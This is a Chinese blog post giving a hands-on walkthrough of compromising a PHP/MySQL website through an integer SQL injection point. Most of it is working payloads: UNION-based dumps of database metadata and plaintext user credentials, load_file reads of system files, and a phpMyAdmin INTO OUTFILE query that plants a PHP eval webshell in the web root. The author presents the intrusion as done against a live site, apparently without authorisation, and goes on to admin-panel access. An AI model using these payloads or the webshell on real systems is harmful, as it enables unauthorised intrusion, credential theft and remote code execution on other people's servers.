当前位置:   article > 正文

php mysql注入点_PHP MYSQL注入基本思路

php mysql注入

1、目标站点环境为:Windows+Apache+Mysql+PHP

2、存在SQL注入,能否直接写一句话木马

3、存在SQL注入,获取数据库中用户口令,登录应用系统后上传webshell

4、获取数据库口令登录phpMyAdimin,用phpMyAdmin写入一句话木马

不想因为使用扫描工具的缘故,导致服务器出现不稳定的现象,所以就纯手工咯。

下面具体来说明下:

1、尝试1=1的情况,正确

http://xxx/xxx.php?id=2900 and 1=1

复制代码

2、尝试1=2的情况,错误,说明这是个整型的注入点

http://xxx/xxx.php?id=2900 and 1=2

复制代码

3、尝试'1'='1'的情况,错误,说明PHP开启了magic_quotes_gpc=on,不能直接利用注入语句写webshell了。还好这里是整型的注入点,如果是字符型的注入点那就没办法了。

http://xxx/xxx.php?id=2900 and '1'='1'

复制代码

4、order by 15,尝试当前注入语句的表中字段个数为15,错误,说明字段数小于15

http://xxx/xxx.php?id=2900 order by 15

复制代码

5、order by 14,尝试当前注入语句的表中字段个数为14,正确,说明字段数等于14

http://xxx/xxx.php?id=2900 order by 14

复制代码

6、联合查询语句,暴出可显示字段

http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14

复制代码

7、暴出数据库用户、版本、库名和路径信息,运气不错,是root权限。

http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),7,8,9,10,11,12,13,14

复制代码

8、读取windows系统文件boot.ini

http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,load_file(0x633a5c626f6f742e696e69),7,8,9,10,11,12,13,14

复制代码

9、暴出当前库中的所有表名,查了下只有一个account表还比较像存放用户名和口令信息的表

http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13,14 from information_schema.tables where table_schema=database()

复制代码

10、暴出account表中的所有字段名,看到了username和password,很高兴。

http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(column_name),7,8,9,10,11,12,13,14 from information_schema.columns where table_name=0x6163636f756e74

复制代码

11、暴出username和password字段里的内容,都是明文。

http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(username,0x5e,password),7,8,9,10,11,12,13,14 from account

复制代码

12、使用得到的用户名口令尝试登录用户页面和后台页面,均失败。

13、发现该网站有 phpMyAdmin,phpMyAdmin是个好东西,可以在magic_quotes_gpc=on的情况下写入一句话。不过得先知道mysql数据 库连接口令。用穿山甲跑了下注入点,可以读取出mysql的root和其他账号口令,但都是收费的hash。。想想即使拿到口令,没web目录的绝对路径 也不能写一句话啊。

14、搜索了一些phpMyAdmin的暴路径的链接,均失败。

/phpmyadmin/libraries/lect_lang.lib.php

/phpmyadmin/themes/darkblue_orange/layout.inc.php

复制代码

15、忽然,rp爆发了一下下,在根目录下随手尝试了个phpinfo,这不绝对路径就出来了d:/wwwroot。

16、读取配置文件d:/wwwroot/sql2004.php

17、登录phpMyAdmin,写入一句话d:/wwwroot/1.php

select '<?eval ($_POST[cmd]);?>' into outfile 'd:/wwwroot/1.php';

复制代码

18、用lanker一句话客户端连接,查看phpinfo,接下来就是上传大马的事了19、回过头来,在数据库里翻了一番,在数据库名为admin的库中找到了个口令,一下就登录上后台管理页面了。。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/2023面试高手/article/detail/573876
推荐阅读
相关标签
  

闽ICP备14008679号